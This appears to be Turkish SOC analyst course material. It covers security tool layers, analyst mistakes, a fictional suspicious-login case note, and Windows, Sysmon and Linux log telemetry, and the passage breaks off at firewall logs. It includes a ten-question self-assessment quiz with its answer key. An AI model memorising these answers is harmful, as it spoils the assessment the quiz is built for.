Modern SOC mimarisi, birbirini tamamlayan farklı katmanlardan oluşur. Bu araçların her biri belirli bir görünürlük ihtiyacını karşılar; hiçbiri tek başına yeterli değildir. Araçların nasıl entegre çalıştığını anlamak, SOC’un hangi sinyalleri nerede arayacağını bilmek anlamına gelir.

6.1 Merkezi Log ve Alarm Platformu: SIEM

SIEM, farklı kaynaklardan gelen logları merkezi olarak toplayan, sorgulama ve korelasyon imkânı sunan, alarm üreten ve raporlama sağlayan platformdur. SOC’un analiz merkezini oluşturur.

Analist perspektifinden SIEM üç temel işlevi yerine getirir: log birleştirme (farklı sistemleri tek yüzeyden inceleme), korelasyon (tek başına anlamsız event’leri birleştirerek anlam üretme), alarm yönetimi (detection kurallarından üretilen alarmların önceliklendirilmesi ve triajı). SIEM’in etkinliği büyük ölçüde beslenen verinin kalitesine, yazılan detection kurallarına ve analistin sorgulama yetkinliğine bağlıdır. İyi yapılandırılmış bir SIEM, zayıf yapılandırılmış bir SIEM’e göre katbekat daha fazla değer üretir.

Splunk, Microsoft Sentinel, Elastic Security, Google Security Operations / Chronicle ve QRadar bu kategorinin yaygın örnekleridir. Her platformun sorgulama dili (SPL, KQL, EQL, YARA-L), veri modeli ve alarm yönetim yapısı farklıdır; ancak temel işlev aynıdır.

6.2 Endpoint Davranışlarını İzleyen Katman: EDR

Endpoint Detection and Response, endpoint üzerinde gerçekleşen süreç başlatma, dosya yaratma/değiştirme, registry değişikliği, ağ bağlantısı kurma ve şüpheli davranış gibi aktiviteleri izler; bunları merkezi bir konsola raporlar ve gerektiğinde yanıt aksiyonları alınmasını sağlar.

EDR’ın SOC’a en büyük katkısı process tree görünürlüğüdür. Bir zararlı yazılım veya saldırgan aktivitesi, başlattığı süreçler, bu süreçlerin alt süreçleri ve bu süreçlerin gerçekleştirdiği işlemler üzerinden incelenebilir. Bu sayede “ne oldu?” sorusundan “nasıl oldu?” sorusuna geçmek mümkün hâle gelir.

Microsoft Defender for Endpoint, CrowdStrike Falcon, SentinelOne ve Cortex XDR bu kategorinin yaygın örnekleri arasında sayılabilir.

6.3 Çoklu Güvenlik Kaynağını Birleştiren Katman: XDR

XDR, endpoint odaklı EDR yaklaşımını genişleterek network, identity, email, cloud ve SaaS gibi farklı kaynaklardan gelen verileri tek bir analiz yüzeyinde birleştirir. Tek bir saldırı zincirinin farklı noktalarda bıraktığı izlerin birlikte görülmesini mümkün kılar.

SOC analistleri için XDR’ın değeri, manuel korelasyon yükünü azaltmasındadır. Normalde bir analistin ayrı ayrı EDR, email güvenlik platformu ve kimlik loglarını karşılaştırması gereken bir olay, XDR ekranında zaten ilişkilendirilmiş biçimde sunulabilir. Ancak bu kolaylık, platformun veri kaynaklarıyla doğru entegre edilmiş olmasını gerektirir.

6.4 Ağ Görünürlüğü Sağlayan Katman: NDR / NSM

Network Security Monitoring, ağ trafiğinin güvenlik amacıyla izlenmesi ve analiz edilmesi yaklaşımıdır. Network Detection and Response ise bu görünürlüğü tespit, korelasyon ve bazı durumlarda müdahale kabiliyetleriyle ürünleşmiş bir katmana taşır. Her iki yaklaşım da ağ trafiğini güvenlik perspektifiyle anlamayı hedefler; ancak NDR genellikle daha ürünleşmiş, korelasyon ve response kabiliyetleriyle desteklenen bir yapı sunar.

Bu katman, endpoint veya kimlik tabanlı izlemenin gözden kaçırabileceği ağ içi hareketleri, lateral movement sinyallerini, komuta kontrol iletişimlerini ve veri çıkışı girişimlerini tespit etmeye yardımcı olur.

Zeek, ağ oturumlarını zengin metadata ile loglar: bağlantı bilgisi, DNS sorguları, HTTP başlıkları, TLS sertifika detayları. Suricata ise imza tabanlı tespit yaparak şüpheli trafik kalıplarını alarm olarak raporlar. Bu iki araç birlikte kullanıldığında hem davranışsal hem de imza tabanlı ağ görünürlüğü sağlanmış olur.

6.5 Otomasyon ve Orkestrasyon Katmanı: SOAR

Security Orchestration, Automation and Response, tekrar eden SOC görevlerini standartlaştırır ve otomatize eder. IP reputation sorgusu çalıştırmak, GeoIP bilgisi almak, etkilenen varlık hakkında asset yönetiminden bilgi çekmek, ticket açmak ve bildirim göndermek gibi düşük riskli aksiyonlar SOAR playbook’larıyla otomatik hâle getirilebilir.

SOAR, analisti ortadan kaldırmak için değil, analistin dikkatini gerçek analize odaklamasını sağlamak için vardır. Bir analist, bir alarm geldiğinde enrichment bilgilerini manuel olarak toplamak yerine bu bilgileri otomatik olarak derlenmiş hâlde bulabilirse triaj süreci hem hızlanır hem de standardize olur.

SOAR kullanımında en kritik risk, yüksek etkili response aksiyonlarının onaysız otomatize edilmesidir. Bir host’u izole etmek, bir hesabı devre dışı bırakmak veya bir IP’yi bloke etmek doğrudan iş etkisi yaratabilir. Bu aksiyonlar, analist onayı gerektiren kontrollü adımlar olarak tasarlanmalıdır. Alarm false positive ise zararın kaynağı tespit mekanizması değil, otomatik aksiyon olur.

6.6 Tehdit Bilgisi Yönetim Katmanı: TIP

Threat Intelligence Platform, tehdit göstergelerini (IP, domain, hash, URL, email), tehdit aktörü bilgisini ve kampanya bilgisini düzenlemek, ilişkilendirmek ve diğer güvenlik araçlarıyla paylaşmak için kullanılır.

Bu eğitimde TIP, derin CTI eğitimi bağlamında değil SOC operasyonuyla ilgisi kadarıyla ele alınmaktadır. SOC açısından TIP’in temel değeri, bir alarm geldiğinde ilgili IOC’lerin hızlı biçimde sorgulanmasını ve alarm bağlamının istihbarat bilgisiyle zenginleştirilmesini sağlamasıdır. MISP ve OpenCTI bu kategorinin yaygın örnekleridir.

6.7 Vaka Takip ve Yönetim Katmanı: Case Management

Case management platformu, güvenlik olaylarının kayıt altına alındığı, analistlere atandığı, not tutulduğu, durumunun takip edildiği ve kapatıldığı yapıdır. TheHive, Jira, ServiceNow ve benzeri platformlar bu ihtiyacı karşılamak için kullanılabilir; bazı SIEM ve XDR platformlarının da entegre vaka yönetimi işlevi bulunur.

SOC’ta case management’ın değeri yalnızca kayıt tutmak değildir. Düzgün işleyen bir vaka yönetim süreci, SOC hafızasını kurumsallaştırır: Hangi olaylar kapatıldı? Hangi kararla kapatıldı? Kapatma kararının kanıtı neydi? Bu bilgiler hem audit açısından hem de benzer olaylarda referans olarak kullanılmak üzere kritik değer taşır.

7. SOC Analisti Bakışı

Bu modülden geçen bir analist, SOC’u artık yalnızca “alarm kapatan ekip” olarak değil, kurumsal güvenlik görünürlüğünü yöneten ve sürekli geliştiren bir operasyon merkezi olarak tanımlar.

Günlük alarm triajı sırasında analist, her alarmı yalnızca teknik içeriğiyle değil; etkilenen varlığın kritikliği, kullanıcı bağlamı ve kurumsal iş etkisi boyutuyla değerlendirir. Bir orta seviye alarm, kritik bir domain controller üzerinde görüldüğünde aynı alarma farklı öncelik atanması gerektiğini artık içgüdüsel olarak bilir.

Eskalasyon kararlarında analist, “ben bunu çözemem” düşüncesinden çıkıp “bu olay hangi seviyede en doğru analiz edilir?” sorusuna odaklanır. L1 analisti L2’ye gönderdiği vakada net bir bağlam bırakır; L2 analisti IR ekibine devrettiği vakada eksiksiz bir handoff paketi hazırlar.

Araç kullanımında analist, SIEM’de yalnızca varsayılan alarm ekranına bakmak yerine bağlama göre sorgu yazar; EDR’de process tree’yi okur; NDR’da ağ metadata’sını yorumlar; tüm bu kaynakları birleştirerek tutarlı bir olay anlatısı çıkarır. Bu bakış açısı, modülden sonra tüm analiz çalışmalarının temelini oluşturur.

Sık Yapılan Hatalar

1. SOC’u güvenlik ekibinin tamamı olarak görmek

SOC, kurumun güvenlik operasyonlarından sorumludur; fakat güvenlik mimarisi, sızma testi, uygulama güvenliği ve IAM tasarımı gibi alanlar SOC’un sorumluluk alanının dışındadır. Bu karışıklık hem SOC’u aşırı yükler hem de diğer güvenlik fonksiyonlarının gelişimini engeller.

2. Her alarmı vaka açarak yönetmeye çalışmak

Her alert case’e dönüştürülmez. Açık kriterler olmadan her alarm için vaka açmak, case management sistemini anlamsız kayıtlarla doldurur ve gerçek vakaların görünürlüğünü düşürür. Triaj sonucu kapanan alarmların hangi koşulda vaka açılmadan kapatılacağı tanımlanmış olmalıdır.

3.Teknolojiye aşırı güvenmek, süreci ihmal etmek

En iyi SIEM veya XDR platformu bile yetersiz detection kuralları, iyi yazılmamış playbook’lar ve triaj disiplini olmadan etkin bir SOC oluşturmaz. Teknoloji yığını güçlü ama süreç zayıfsa, araçlar yalnızca pahalı alarm üreticilerine dönüşür.

4. Rol sınırlarını gözetmemek

L1 analistlerin L3 seviyesinde analiz yapmaya çalışması hem zaman kaybıdır hem de eskalasyon gecikmelerine yol açar. Tersine, L3 analistlerin L1 düzeyinde alarm triajına zaman ayırması SOC’un ileri analiz kapasitesini tüketir. Her rolün kendi sınırı içinde en iyi işi yapması, toplam operasyonel verimliliği artırır.

5. False positive’i yönetmek yerine görmezden gelmek

Yüksek false positive oranı, analist motivasyonunu ve karar kalitesini düşürür. Bu sorunu “zaten hep böyle geliyor” diyerek normalize etmek yerine tuning süreci başlatmak, detection kalitesini korumak açısından zorunludur.

6. Terminoloji karışıklığıyla yanlış önceliklendirme yapmak

“Alert” ile “incident”, “security breach” ile “data breach” kavramlarını birbirine karıştırmak; eskalasyon kararlarını, bildirim yükümlülüklerini ve IR tetikleme kriterlerini doğrudan etkiler. Bir alert’ı data breach olarak raporlamak hem gereksiz panik yaratır hem de güvenilirliği zedeler.

7. SOC modelini kuruma uydurmak yerine modeli körce uygulamak

MSSP modeli büyük kurum için en doğru seçim olmayabilir; in-house model küçük kurum için sürdürülebilir olmayabilir. Kurumun gerçek ihtiyacını, risk profilini ve kaynağını değerlendirmeden bir modeli benimsemek, uzun vadede yapısal sorunlara yol açar.

8. Sürekli iyileştirme döngüsünü opsiyonel görmek

“Olay kapandı, geçti” zihniyeti SOC’un en büyük tuzaklarından biridir. Her kapatılan vakadan tespit, playbook veya log kaynağı tarafında en az bir öğrenim çıkmış olmalıdır. Bu alışkanlık olmadan SOC statik kalır ve aynı hatalar tekrar eder.

Kontrol Listesi

Bu modülü tamamlayan öğrenci aşağıdaki sorulara net yanıt verebilmelidir:

SOC’un kurumsal güvenlik içindeki rolünü ve sınırlarını kendi cümlelerinizle açıklayabilir misiniz? Penetrasyon testi, IR ve SOC arasındaki farkı somut örnekle ifade edebilir misiniz?
SOC’un günlük operasyon döngüsünü (monitoring → detection → triage → investigation → escalation → reporting → improvement) birbirine bağlı süreçler olarak anlatabilir misiniz?
In-house, MSSP, hybrid, virtual ve cloud-native SOC modellerinin avantaj ve risklerini karşılaştırabilir misiniz? Bir kurumun hangi modeli tercih etmesi gerektiğini değerlendirebilir misiniz?
L1, L2, L3, Detection Engineer, Threat Hunter ve SOC Lead rollerinin sorumluluk alanlarını birbirinden net biçimde ayırt edebilir misiniz?
Event, alert, incident, case, security breach ve data breach kavramlarının her birini doğru bağlamda kullanabilir misiniz?
SIEM, EDR, XDR, NDR/NSM, SOAR, TIP ve case management araçlarının her birinin SOC mimarisindeki görevini ve birbirleriyle ilişkisini açıklayabilir misiniz?
Alert fatigue kavramını, oluşma nedenlerini ve azaltma yaklaşımlarını açıklayabilir misiniz?
SOC’un sürekli iyileştirme döngüsünü işleten yaklaşımı — kapalı vakadan detection veya playbook iyileştirmesi çıkarmak — örnekleyebilir misiniz?
Eskalasyon kararını verebilmek için hangi kriterlere başvurmanız gerektiğini ifade edebilir misiniz?
Hangi güvenlik olayı türleri data breach bildirim yükümlülüğü doğurabilir ve SOC’un bu noktada rolü nedir?

Kendini Değerlendir — SOC Rolü ve Operasyon

Aşağıdaki 10 soru modül kazanımlarını ölçer. Her soru için en iyi cevabı seçin ve Testi Gönder düğmesine basın.

1) Bir stajyer «SOC’un proaktif ve reaktif görev dengesi» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

B) Yalnızca yöneticiler bilir

C) Araç adı yeterlidir

D) Sadece sınavda sorulursa öğrenilir

Doğru: A
Gerekçe: «SOC’un proaktif ve reaktif görev dengesi» uygulama ve risk bağlamı olmadan anlamlı değildir.

2) Denetimde «Alarm triyaj ve önceliklendirme» için kanıt isteniyor. Hangi çıktı en uygundur?

A) Ekran görüntüsü olmadan varsayım

B) Politika, yapılandırma veya test sonucu ile uyum kanıtı

C) Başka modülün raporu

D) Sözlü «biliyoruz» ifadesi

Doğru: B
Gerekçe: «Alarm triyaj ve önceliklendirme» denetlenebilir kanıt gerektirir.

3) SIEM’de gece 03:00’te 4000 benzer «failed logon» alarmı geldi. İlk triyaj adımı?

A) Tüm kullanıcıları silmek

B) Kaynak IP, hedef hesap, zaman penceresi ve playbook ile önceliklendirme

C) Alarmı kalıcı bastırmak

D) SIEM’i kapatmak

Doğru: B
Gerekçe: Alarm selinde bağlam ve playbook triyajı kritiktir.

4) MTTD uzun, MTTR kısa. Bu neyi gösterir?

A) Log toplanmıyor

B) Sadece false positive var

C) Hiç olay yok

D) Olaylar geç fark ediliyor; müdahale hızlı

Doğru: D
Gerekçe: Tespit–müdahale metrikleri farklı aşamaları ölçer.

5) «Tehdit istihbaratı ile zenginleştirme» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Yalnızca antivirüs imzasını güncellemek

B) Tehdit istihbaratı ile zenginleştirme için tanımlı kontrolü devreye almak ve süreci dokümante etmek

C) İnterneti kalıcı kapatmak

D) Tüm logları silmek

Doğru: B
Gerekçe: Eksik kalan «Tehdit istihbaratı ile zenginleştirme» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

6) EDR bir süreçte «powershell.exe -enc ...» davranışı işaretledi; dosya imzası temiz. Analist ilk adımda ne yapmalı?

A) Davranış bağlamını, ebeveyn süreci ve komut satırını inceleyip triyaj

B) Yalnızca dosya adına bakmak

C) Tüm ağı kapatmak

D) Uyarıyı sessizce silmek

Doğru: A
Gerekçe: Davranışsal tespit doğrulama ve bağlam gerektirir.

7) «Vardiya devir teslimi (handover)» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Vardiya devir teslimi (handover) için tanımlı kontrolü devreye almak ve süreci dokümante etmek

B) Yalnızca antivirüs imzasını güncellemek

C) Tüm logları silmek

D) İnterneti kalıcı kapatmak

Doğru: A
Gerekçe: Eksik kalan «Vardiya devir teslimi (handover)» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

8) Bir stajyer «Müşteri/iş birimi ile iletişim» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Sadece sınavda sorulursa öğrenilir

B) Yalnızca yöneticiler bilir

C) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

D) Araç adı yeterlidir

Doğru: C
Gerekçe: «Müşteri/iş birimi ile iletişim» uygulama ve risk bağlamı olmadan anlamlı değildir.

9) Olay sonrası disk imajı alınırken hash değeri kaydedilmedi. Bu eksiklik neyi zayıflatır?

A) Kanıt zinciri ve bütünlük ispatını

B) DNS çözümlemesini

C) TLS cipher suite seçimini

D) Wi-Fi kanal planını

Doğru: A
Gerekçe: Adli/kanıt süreçlerinde değişmezlik kaydı (hash) kritiktir.

10) Bir stajyer «Sürekli iyileştirme döngüsü» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

B) Yalnızca yöneticiler bilir

C) Sadece sınavda sorulursa öğrenilir

D) Araç adı yeterlidir

Doğru: A
Gerekçe: «Sürekli iyileştirme döngüsü» uygulama ve risk bağlamı olmadan anlamlı değildir.

Kısa Raporlama Örneği

Aşağıdaki mini rapor, bir L1 analistinin SIEM üzerinde görülen şüpheli bir kimlik doğrulama anomalisi üzerine hazırladığı örnek vaka notunu temsil etmektedir. Kurgusal verilerle oluşturulmuştur.

Bulgu: SIEM üzerinde 03:47 ile 04:12 arasında analyst01@example.com hesabından farklı on iki ayrı ülkeye ait IP adresinden başarısız Microsoft 365 giriş denemesi tespit edildi. Son başarılı giriş, söz konusu kullanıcının tanımlı çalışma saatleri ve lokasyonuyla uyumlu değil; 03:52’de 198.51.100.44 adresinden gerçekleşen oturum başlangıcı, hemen öncesindeki başarısız giriş denemeleriyle aynı zaman dilimine denk gelmektedir.

Etki: Hesap yetkisine bağlı olarak Microsoft 365, SharePoint ve Teams ortamlarında yetkisiz erişim gerçekleşmiş olabilir. Kullanıcının erişim yetkisi yüksek belgeleri kapsıyorsa veri ifşası ihtimali değerlendirilmelidir. Hesabın aktif olarak kullanılıp kullanılmadığı henüz doğrulanmamıştır.

Öneri: Hesabın MFA durumu doğrulanmalı, etkin oturumlar sonlandırılmalı ve gerekirse şifre sıfırlaması ile ek kimlik doğrulama adımları uygulanmalıdır. Olayın son 30 günlük giriş geçmişiyle karşılaştırılması ve başarılı giriş sonrası aktivitelerin Entra ID Sign-in Logs üzerinden incelenmesi gereklidir. Kullanıcının hesap sahibiyle iletişime geçilerek normal dışı giriş yapıp yapmadığı sorulmalıdır.

Kanıt: SIEM alarm kaydı (alert ID: A-20240419-0047), Entra ID Sign-in Log çıktısı, ilgili IP adreslerinin GeoIP enrichment sonuçları ve başarılı oturum timestamp’i vaka notuna eklenmiştir.

Modül Teması

Telemetri

Görünürlük SOC'un temelidir.

Parsing

Ham log → anlamlı alanlar.

Normalizasyon

Ortak alan adları, unified detection.

SOC operasyonunun kalitesi, büyük ölçüde kullandığı veri kalitesinin bir yansımasıdır. Bir analist ne kadar iyi sorgular yazarsa yazsın, ne kadar güçlü bir SIEM kullanırsa kullansın; eğer altındaki veri eksik, hatalı ayrıştırılmış veya bağlamdan yoksunsa tespit zayıf, investigation yüzeysel, raporlama yanıltıcı olur. Bu modül, SOC’un gözle gördüğü ekranın arkasındaki veri altyapısını operasyonel bir bakışla anlatır.

Temel eğitimde log kavramını, log türlerini ve basit düzeyde SIEM’e veri akışını öğrendiniz. Bu modül oradan devam eder; ancak odak farklıdır: Hangi logu toplamak gerekir, hangi logu toplamak gereksizdir, ham log bir SOC analizinde nasıl anlam kazanır, farklı kaynaklardan gelen veriler nasıl ortak dile çevrilir ve alarm bağlamı enrichment ile nasıl güçlenir? Bu soruların cevapları, bir detection kuralının doğru ateşlenmesinden bir false positive’in doğru ayrıştırılmasına kadar her adımda belirleyici rol oynar.

Modülün SOC operasyonundaki gerçek karşılığı şudur: Alarm triajı sırasında bir analist “bu log alanı bana ne söylüyor?” diye soramadan güvenilir karar veremez. Investigation sırasında farklı kaynaklardan gelen logları okuyabilmek, pivot yapabilmek ve zamansal sıralama çıkarabilmek için verinin doğru biçimde toplandığını, ayrıştırıldığını ve normalize edildiğini bilmek gerekir. Bu modül, SOC analistine o temel veri okuryazarlığını ve veri kalitesi yargısını kazandırır.

Bu Modülde Hedeflenen Kazanımlar

Öğrenci bu modül sonunda:

Telemetri ile log arasındaki operasyonel farkı açıklayabilmeli ve SOC’ta görünürlük probleminin neden oluştuğunu somut örneklerle ifade edebilmelidir.
Windows Event Logs, Sysmon, Linux Auditd, firewall, proxy, VPN, identity ve cloud audit loglarını SOC analizi için hangi alanlar üzerinden okuması gerektiğini bilmelidir.
Risk ve use case bazlı log önceliklendirmesi yapabilmeli; hangi sistemin önce izleneceğini gerekçeleyebilmelidir.
Ham log örneğini parsing ve field extraction süreçleriyle anlamlı alanlara ayırma mantığını açıklayabilmeli; hatalı parsing’in SOC analizine etkisini değerlendirebilmelidir.
Normalizasyonun neden gerekli olduğunu ve farklı kaynaklardan gelen aynı anlama sahip alanların (src_ip, source_ip, client_ip gibi) unified detection mantığını nasıl etkilediğini açıklayabilmelidir.
Asset, user, GeoIP, ASN, reputation ve business context enrichment türlerini alarm triajı sırasında doğru bağlamı oluşturmak için kullanabilmelidir.
Log retention stratejisi, connector health, ingestion delay ve timestamp problemlerinin detection ve investigation kalitesine etkisini değerlendirebilmelidir.
Bir alarmın altındaki veri kalitesini sorgulayarak “bu alarm doğru mu, yoksa veri problemi mi var?” sorusunu yanıtlayabilmelidir.
Telemetri boşluğunun bir tehdidin tamamen kaçırılmasına nasıl yol açtığını, somut bir use case üzerinden açıklayabilmelidir.

1. SOC’un Güvenilir Analiz Yapabilmesi İçin Telemetri Mantığı

1.1 Telemetri Nedir?

Telemetri, bir sistemin, ağın, kullanıcının veya uygulamanın durumu ve davranışı hakkında toplanan gözlem verisidir. Bu tanım log kavramından daha geniştir. Loglar, metrikler, trace’ler, event akışları ve güvenlik sensörlerinden gelen davranışsal veriler telemetri kapsamında değerlendirilebilir. Bir Windows Event Log bir kayıt türüdür; bir EDR’dan gelen process creation event’i de telemetri olarak ele alınabilir. Bir firewall’ın ürettiği bağlantı kaydı log sayılır; Zeek’in ağ oturumundan çıkardığı metadata, duration, bytes transferred ve TLS sertifika bilgisini kapsayan veri ise daha geniş bir ağ telemetrisi bağlamı sunar.

SOC açısından telemetri, analistin “ne oldu?” sorusunu cevaplamak için kullandığı ham veri yığınıdır. Bu yığının içinden sadece ilgili olanı çekmek, anlamlı alanlara ayırmak ve bağlamlandırmak SOC’un analiz kapasitesini doğrudan belirler. Telemetri kalitesi düştüğünde SIEM’de alarm hiç tetiklenmeyebilir, yanlış bağlamla tetiklenebilir veya tetiklense bile investigation için gereken veri eksik kalabilir. Bu nedenle veri kalitesi hem detection hem de investigation aşamasını doğrudan etkiler.

1.2 Log ile Telemetri Arasındaki Fark

Operasyonel açıdan log, bir sistemin veya uygulamanın olayları kayıt altına aldığı veri türüdür. Bu kayıt dosya olarak tutulabilir, event stream olarak iletilebilir, API üzerinden çekilebilir veya agent/collector aracılığıyla SIEM’e aktarılabilir. Telemetri ise logları da kapsayan daha geniş bir gözlem verisi kavramıdır. Log, metrik, trace, event, flow bilgisi ve güvenlik sensörü çıktıları telemetri kapsamında değerlendirilebilir.

Bir Windows Security Event Log olan Event ID 4624 (başarılı oturum açma) bir log kaydıdır. Sysmon’un Event ID 1 ile yazdığı process creation event’i ise process hash, parent process command line, integrity level ve kullanıcı bağlamını birlikte içerdiğinden SOC açısından daha zengin bir endpoint telemetrisi sağlar. Buradaki kritik nokta, verinin “log” veya “telemetri” diye adlandırılmasından çok, saldırı davranışını görünür kılacak alanları ve bağlamı sağlayıp sağlamadığıdır.

Bu fark SOC analistini doğrudan etkiler. Yalnızca temel log alan bir sistemde analist “bu kullanıcı oturum açtı” bilgisine ulaşır. Daha zengin telemetri sağlayan bir sistemde ise “bu kullanıcı oturum açtı, sonrasında PowerShell.exe başlattı, child process olarak net.exe çalıştı ve dış bir IP’ye bağlandı” zincirini görebilir. Aradaki fark, bir alarmı triaj yaparken false positive mi true positive mi olduğunu anlama hızıdır.

1.3 SOC’ta Görünürlük Problemi

SOC görünmediği şeyi tespit edemez. Bu cümle basite indirgeme gibi görünse de operasyonel gerçeği kesin biçimde ifade eder. Bir saldırgan bir sunucuya erişip komut çalıştırdıysa, o sunucudan herhangi bir log veya telemetri toplanmıyorsa SOC için bu olay gerçekleşmemiş gibidir. SIEM ekranı boştur çünkü veri hiç gelmemiştir.

Görünürlük problemi tek bir nedenden kaynaklanmaz. Bazı sistemlerde log üretimi tamamen kapalıdır. Bazı sistemlerde log üretilmekte ama toplanmamaktadır; log agent kurulmamış, forwarder yapılandırılmamış veya connector bozuk durumdadır. Bazı durumlarda log gelmektedir ama SOC’un aradığı kritik event ID’ler veya alanlar aktarılmamaktadır; örneğin firewall loglanıyor ama outbound bağlantılar kapsam dışında bırakılmıştır. Bir diğer senaryo, logların geldiği ama doğru ayrıştırılamaması nedeniyle SIEM’de anlamsız string olarak kaldığıdır; field extraction çalışmamıştır ve sorgulama mümkün değildir.

Görünürlük problemi en sık, alarm olmadığında fark edilir; çünkü alarm alındığında “bu log kaynağı neden yok?” sorusu genellikle olay geliştikten sonra sorulmaktadır. İdeal olanı, her detection use case için gereken veri kaynaklarının önceden haritalanmış ve düzenli olarak kontrol edilmesidir.

1.4 Neden Daha Fazla Log Her Zaman Daha İyi Değildir?

Bazı kurumlar görünürlük problemini “her şeyi logla” yaklaşımıyla çözmeye çalışır. Bu yaklaşım üç ciddi sorun üretir: maliyet, gürültü ve analiz zorluğu.

Cloud tabanlı SIEM platformlarında veri hacmi doğrudan faturaya yansır. Gürültülü bir kaynak, örneğin yoğun HTTP erişimi olan bir web sunucusunun tüm başarılı istekleri, günde milyonlarca event üretebilir; ancak bunların büyük çoğunluğu SOC analizine katkı sağlamaz. SIEM bu kaydın içinde boğulurken gerçek anlamlı event gözden kaçabilir ya da önceliklendirme zorlaşır. Analiz zorluğu ise özellikle manuel investigation gereken durumlarda ortaya çıkar; alakasız veriyle dolu bir zaman çizelgesinden kritik event’i bulmak hem zaman alır hem de hata payını artırır.

Doğru yaklaşım, “ne kadar çok o kadar iyi” değil, “ihtiyaç duyulan veriyi, ihtiyaç duyulan alanlarla, yeterli süre için topla” mantığıdır. Bunu belirleyen ise use case’lerdir; bir detection kuralı hangi alanı sorguluyorsa, o alanı taşıyan event toplanmalı, gereksiz veri kapsam dışı bırakılmalıdır. Ancak kapsam dışı bırakma kararı verilmeden önce, bu verinin herhangi bir detection, hunting veya forensic ihtiyaçta kullanılıp kullanılmayacağı değerlendirilmelidir.

2. SOC İçin Kritik Log ve Telemetri Kaynakları

2.1 Windows Event Logs ile Sistem ve Güvenlik Olaylarını İzleme

Windows Security log’u SOC’un en sık başvurduğu kaynaklardan biridir. Event ID 4624 başarılı oturum açmayı, 4625 başarısız oturum açmayı, 4648 explicit credential kullanımını, 4672 özel ayrıcalık atamayı, 4688 yeni process oluşturmayı, 4698 scheduled task oluşturmayı ve 4720 yeni hesap oluşturmayı işaret eder. Bu event ID’leri ezbere bilmek değil, hangisinin hangi saldırı davranışına karşılık geldiğini operasyonel olarak anlamak önemlidir.

System log’u servis başlatma ve durdurma, driver yükleme, sistemin çalışma durumuna ilişkin kritik event’leri taşır. Application log’u uygulama hataları ve crash event’lerini içerir; bazı exploit sonrası aktiviteler burada iz bırakabilir. PowerShell Operational log (Event ID 4103, 4104) özellikle PowerShell tabanlı saldırı davranışlarını görünür kılar; script block logging aktifse çalıştırılan kod doğrudan loglanır.

Windows Defender Operational logu, Microsoft Defender Antivirus ile ilişkili tespitler, koruma olayları, hata kodları ve bazı yapılandırma/operasyonel değişiklikler için önemli bir yerel log kaynağıdır. Ancak Microsoft Defender for Endpoint tarafındaki EDR alert’leri ve incident yönetimi yalnızca bu yerel logdan takip edilmez; MDE alert/incidents kuyruğu, Advanced Hunting, merkezi Defender portalı ve cihaz üzerindeki ilgili Defender for Endpoint servis loglarıyla birlikte değerlendirilmelidir.

Dikkat: Event ID 4688 process creation logging varsayılan olarak tüm Windows sistemlerde tam kapsamlı şekilde aktif değildir. Komut satırını da içeren tam process creation log için Group Policy üzerinden “Include command line in process creation events” ayarı açılmalıdır. Bu ayar olmadan process name görülebilir ama komut argümanları kaybolur; bu, credential dumping veya LOLBin saldırıları için kritik bir görünürlük kaybıdır.

2.2 Sysmon ile Endpoint Davranışlarını Görünür Hâle Getirme

Sysmon, Microsoft Sysinternals’ın ürettiği bir sistem izleme aracıdır ve standart Windows Event Log’larına kıyasla çok daha zengin endpoint telemetrisi sağlar. Sysmon Event ID 1 (Process Create) sadece process adını değil parent process adını, parent command line’ı, oluşturan kullanıcıyı, hash değerini ve integrity level’ı taşır. Bu bilgi process tree analizi için temel yapı taşıdır.

Sysmon Event ID 3 (Network Connection), hangi process’in hangi IP ve porta bağlandığını gösterir; C2 iletişimini yakalamak için kritik bir sinyal kaynağıdır. Sysmon Event ID 7 (Image Load), bir process’in hangi DLL veya executable image’ları yüklediğini raporlar; DLL hijacking, side-loading ve bazı process injection analizlerinde değerli olabilir. Ancak bu event varsayılan olarak kapalıdır ve yüksek hacimli log üretebildiği için dikkatli filtrelerle etkinleştirilmelidir. Sysmon Event ID 10 (Process Access) ise bir process’in başka bir process’e erişimini raporlar; özellikle LSASS’a yönelik erişimler credential dumping davranışına işaret edebilir.

Sysmon olmadan Windows ortamında derinlikli investigation yapmak, bir şairin yalnızca paragraf başlarını okuyarak şiiri anlamaya çalışması gibidir; ana hatlar görülür ama kritik detay kaybolur.

İpucu: Sysmon konfigürasyonu doğru yapılandırılmazsa gürültü üretir. SwiftOnSecurity Sysmon configuration veya Olaf Hartong’un Sysmon konfigürasyonları gibi topluluk tarafından bakımı yapılan şablonlar başlangıç noktası olarak kullanılabilir; ancak kurumun ortamına göre mutlaka özelleştirilmesi gerekir.

2.3 Linux Syslog ve Auditd ile Linux Sistem Aktivitelerini İzleme

Linux sistemlerde temel log kaynağı /var/log/auth.log (Debian tabanlı) veya /var/log/secure (RHEL tabanlı) dosyasıdır; SSH girişleri, sudo kullanımı ve PAM aktiviteleri buraya düşer. Modern systemd sistemlerde journalctl tüm service loglarını merkezi olarak sunar; bir servisin aniden yeniden başlatılması veya crash etmesi burada görülür.

Auditd, Linux için daha zengin bir denetleme mekanizması sunar. auditctl ile kural tanımlanır, ausearch ve aureport ile kayıtlar sorgulanır. Sistem çağrısı bazında denetim yapılabilir; örneğin /etc/passwd dosyasına yapılan yazma girişimleri, execve system call’ları veya yetki yükseltme girişimleri auditd kurallarıyla yakalanabilir. SOC açısından önemli sinyal alanları şunlardır: uid, gid, auid (gerçek kullanıcı ID’si, sudo sonrası bile orijinal kullanıcıyı gösterir), exe, comm, syscall, success ve key (özel etiket alanı).

Linux sistemlerde auditd kurulu değilse ve auth.log toplanmıyorsa, o sistemde gerçekleşen bir privilege escalation veya yeni kullanıcı oluşturma davranışı SOC’a hiç ulaşmaz. Linux sunucuların genellikle kritik iş servislerini barındırdığı düşünüldüğünde bu görünürlük boşluğu yüksek risk taşır.

2.4 Firewall Loglarıyla Ağ Erişimlerini Analiz Etme
